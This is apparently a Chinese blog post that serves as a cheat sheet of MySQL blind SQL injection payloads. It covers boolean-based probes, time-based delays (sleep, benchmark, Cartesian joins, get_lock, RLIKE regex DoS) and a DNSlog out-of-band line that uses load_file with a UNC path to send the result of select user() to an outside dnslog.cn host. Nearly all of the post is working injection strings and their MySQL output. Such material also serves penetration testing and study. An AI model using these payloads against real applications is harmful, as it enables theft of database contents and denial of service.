MySQL盲注

MySQL注入总结

布尔盲注

盲注一般先看长度
id=4 and length(user())=14

布尔盲注的方法
substr,substring,mid,leftright截取单个字符
id=4 and substr((select user()),1,1)=0x72
id=4 and left((select user()),1)=0x72

用ascii(),ord(),hex()编码单个字符
id=4 and ascii(substring((select user()) from 1 for 1))=114
id=4 and ord(mid((select user()),1,1))=114
id=4 and hex(right((select user()),1))=74if,ifnull,case when自由输出字符
id=4 and if(1=1,1,0)
id=4 and ifnull(1=1,0)
id=4 and (case when 1=1 then 1 else 0 end)

如果查询是空内容,同时传入两个值使其报错来构成布尔盲注
select null and 1=(case when 1=1 then (select 666) else (select 666 union select 667)end)

时间盲注

sleep函数

if(布尔盲注语句,sleep(5),1)

benchmark函数

简介
BENCHMARK(count,expr)函数

benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟。

语句

 and if((布尔盲注语句),BENCHMARK(10000000,md5('a')),1);

笛卡尔积函数

简介
所谓叠加全排列就是对多个表做笛卡尔积连接,使之查询时间呈指数增长,也就是说,攻击者将简单的表查询不断地叠加,不断增加系统执行sql语句的负荷,直到产生攻击者想要的时间延迟。为了防止表明重复可能导致不必要的错误,所以一般都会用表别名来区别

 and if((布尔盲注语句),(笛卡尔积函数语句),1);

语句

mysql> select count(*) from information_schema.columns a,information_schema.columns b;
+----------+
| count(*) |
+----------+
|   774400 |
+----------+
1 row in set (0.20 sec)

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*)  |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)

get_lock盲注

简介
对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入。

GET_LOCK(str,timeout)

例子

SESSION A

mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

SESSION B

mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
|                   0 |
+---------------------+
1 row in set (5.00 sec)

语句
and if((布尔盲注语句),GET_LOCK(str,timeout),1);

正则DOS RLIKE注入

简介
延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的

语句

mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
+------+
| flag |
+------+
| 1    |
+------+
1 row in set (0.00 sec)

mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);
Empty set (3.83 sec)

dnslog盲注

利用条件
1.必须windows系统(跟windows中unc路径原理有关,linux没有相关标准)

2.必须root权限

3.有文件读取权限及 secure-file-priv无值, show variables like ‘%secure%’

4.利用一个dnslog平台查看回显结果

注意遇到魔术引号拦截的场景。

语句

注:xxxx.dnslog.cn\\xxxx , \\xxxx可以是任意字符串,实际上不存在也行
 load_file(concat('\\\\'(select user()),'.xxxx.dnslog.cn\\a.txt'))

后续待补充

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值